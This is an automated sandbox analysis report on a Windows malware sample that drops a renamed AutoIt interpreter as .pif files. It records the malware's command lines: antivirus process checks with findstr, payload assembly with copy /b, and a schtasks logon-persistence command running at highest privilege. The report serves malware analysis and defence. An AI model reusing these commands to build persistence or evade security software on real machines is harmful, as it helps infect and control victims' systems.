Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: file.exe

Static file information: File size 2418898 > 1048576

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif

Code function: 10_2_00C1C4A1 LoadLibraryA,GetProcAddress,

10_2_00C1C4A1

Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00BC8AA5 push ecx; ret		10_2_00BC8AB8
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006B8AA5 push ecx; ret		15_2_006B8AB8

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	File created: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif			Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	File created: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif			Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "MindTechPro360" /tr "wscript //B 'C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.js'" /sc onlogon /F /RL HIGHEST

Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00C2577B IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	10_2_00C2577B
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00BB5EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	10_2_00BB5EDA
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_0071577B IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	15_2_0071577B
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006A5EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	15_2_006A5EDA

Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif

Code function: 10_2_00BC32E9 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

10_2_00BC32E9

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	API coverage: 4.8 %
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	API coverage: 4.7 %

Source: C:\Windows\SysWOW64\timeout.exe TID: 7720

Thread sleep count: 130 > 30

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00405C4E CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405C4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402902 FindFirstFileW,	0_2_00402902
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040689A FindFirstFileW,FindClose,	0_2_0040689A
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00C047B7 GetFileAttributesW,FindFirstFileW,FindClose,	10_2_00C047B7
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00C03B4F FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	10_2_00C03B4F
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00C03E72 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	10_2_00C03E72
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00C0C16C FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	10_2_00C0C16C
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00C0CB81 FindFirstFileW,FindClose,	10_2_00C0CB81
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00C0CC0C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	10_2_00C0CC0C
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00C0F445 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	10_2_00C0F445
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00C0F5A2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	10_2_00C0F5A2
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00C0F8A3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	10_2_00C0F8A3
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006F47B7 GetFileAttributesW,FindFirstFileW,FindClose,	15_2_006F47B7
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006F3E72 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	15_2_006F3E72
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006FC16C FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	15_2_006FC16C
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006FCB81 FindFirstFileW,FindClose,	15_2_006FCB81
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006FCC0C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	15_2_006FCC0C
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006FF445 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	15_2_006FF445
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006FF5A2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	15_2_006FF5A2
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006FF8A3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	15_2_006FF8A3
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006F3B4F FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	15_2_006F3B4F

Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif

Code function: 10_2_00BB5D13 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

10_2_00BB5D13

Source: Shopzilla.pif, 0000000A.00000002.2943481145.0000000003B16000.00000004.00000020.00020000.00000000.sdmp, MindTechPro360.pif, 0000000F.00000002.2943688312.0000000003BF3000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node			graph_0-3569
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	API call chain: ExitProcess graph end node

Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif

Code function: 10_2_00C143B9 BlockInput,

10_2_00C143B9

Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif

Code function: 10_2_00BB5240 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

10_2_00BB5240

Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif

Code function: 10_2_00BD5BDC EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

10_2_00BD5BDC

Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif

Code function: 10_2_00C1C4A1 LoadLibraryA,GetProcAddress,

10_2_00C1C4A1

Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif

Code function: 10_2_00BF86B0 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

10_2_00BF86B0

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00BCA2B5 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_00BCA2B5
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00BCA284 SetUnhandledExceptionFilter,	10_2_00BCA284
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006BA2B5 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_006BA2B5
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006BA284 SetUnhandledExceptionFilter,	15_2_006BA284

Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif

Code function: 10_2_00BF914C LogonUserW,

10_2_00BF914C

Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif

Code function: 10_2_00BB5240 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

10_2_00BB5240

Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif

Code function: 10_2_00C01932 SendInput,keybd_event,

10_2_00C01932

Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif

Code function: 10_2_00C050A7 mouse_event,

10_2_00C050A7

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Anyone Anyone.cmd & Anyone.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa.exe opssvc.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 812297	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "IndieBeachesHonIo" Janet	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b Praise + Bee + Random + Acoustic + Predict + Shannon + Extreme + Gnome + Sandra + Wright + Ready + Bb + Dot + Almost + Do + Continental 812297\g	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif 812297\Shopzilla.pif 812297\g	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 15	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif "C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif" "C:\Users\user\AppData\Local\TechMind360 Innovations Co\L"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif

10_2_00BF86B0

Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif

Code function: 10_2_00C04D89 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

10_2_00C04D89

Source: file.exe, 00000000.00000002.1901869005.000000000283D000.00000004.00000020.00020000.00000000.sdmp, Shopzilla.pif, 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmp, Shopzilla.pif, 0000000A.00000003.1746056007.0000000004105000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: Shopzilla.pif, MindTechPro360.pif	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif

Code function: 10_2_00BC878B cpuid

10_2_00BC878B

Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif

Code function: 10_2_00C0E0CA GetLocalTime,SystemTimeToFileTime,LocalFileTimeToFileTime,__wsplitpath,_wcscat,_wcscat,GetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,_wcscpy,SetCurrentDirectoryW,

10_2_00C0E0CA

Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif

Code function: 10_2_00BE0652 GetUserNameW,

10_2_00BE0652

Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif

Code function: 10_2_00BD409A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

10_2_00BD409A

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004035D8 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,ExitProcess,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_004035D8

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: MindTechPro360.pif	Binary or memory string: WIN_81
Source: MindTechPro360.pif	Binary or memory string: WIN_XP
Source: MindTechPro360.pif	Binary or memory string: WIN_XPe
Source: MindTechPro360.pif.10.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 2USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyteP
Source: MindTechPro360.pif	Binary or memory string: WIN_VISTA
Source: MindTechPro360.pif	Binary or memory string: WIN_7
Source: MindTechPro360.pif	Binary or memory string: WIN_8

Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00C16733 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	10_2_00C16733
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00C16BF7 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	10_2_00C16BF7
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_00706733 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	15_2_00706733
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_00706BF7 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	15_2_00706BF7

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	2 Valid Accounts	1 Windows Management Instrumentation	11 Scripting	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	21 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	21 Input Capture	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	2 Valid Accounts	2 Valid Accounts	2 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	3 Clipboard Data	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Scheduled Task/Job	21 Access Token Manipulation	1 DLL Side-Loading	NTDS	17 System Information Discovery	Distributed Component Object Model	Input Capture	1 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	12 Process Injection	11 Masquerading	LSA Secrets	31 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Scheduled Task/Job	2 Valid Accounts	Cached Domain Credentials	1 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Virtualization/Sandbox Evasion	DCSync	4 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	0%	ReversingLabs

Source	Detection	Scanner	Label
http://nsis.sf.net/NSIS_ErrorError	0%	URL Reputation	safe
http://www.autoitscript.com/autoit3/0	0%	Avira URL Cloud	safe
http://www.autoitscript.com/autoit3/J	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
JzyWtlVaDZyw.JzyWtlVaDZyw	unknown	unknown	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.autoitscript.com/autoit3/J	file.exe, 00000000.00000002.1901869005.000000000292E000.00000004.00000020.00020000.00000000.sdmp, Shopzilla.pif, 0000000A.00000003.1746303015.000000000420B000.00000004.00000800.00020000.00000000.sdmp, Shopzilla.pif, 0000000A.00000000.1737134126.0000000000C68000.00000002.00000001.01000000.00000005.sdmp, MindTechPro360.pif, 0000000F.00000002.2941852709.0000000000758000.00000002.00000001.01000000.00000008.sdmp, Halloween.0.dr, nsb6504.tmp.0.dr, Shopzilla.pif.1.dr, MindTechPro360.pif.10.dr	false	Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	file.exe	false	URL Reputation: safe	unknown
http://www.autoitscript.com/autoit3/0	file.exe, 00000000.00000002.1901869005.000000000292E000.00000004.00000020.00020000.00000000.sdmp, Shopzilla.pif, 0000000A.00000003.1746303015.000000000420B000.00000004.00000800.00020000.00000000.sdmp, Shopzilla.pif, 0000000A.00000002.2943481145.0000000003B16000.00000004.00000020.00020000.00000000.sdmp, Essential.0.dr, nsb6504.tmp.0.dr, Shopzilla.pif.1.dr, MindTechPro360.pif.10.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

⊘No contacted IP infos

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1458478
Start date and time:	2024-06-17 17:57:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
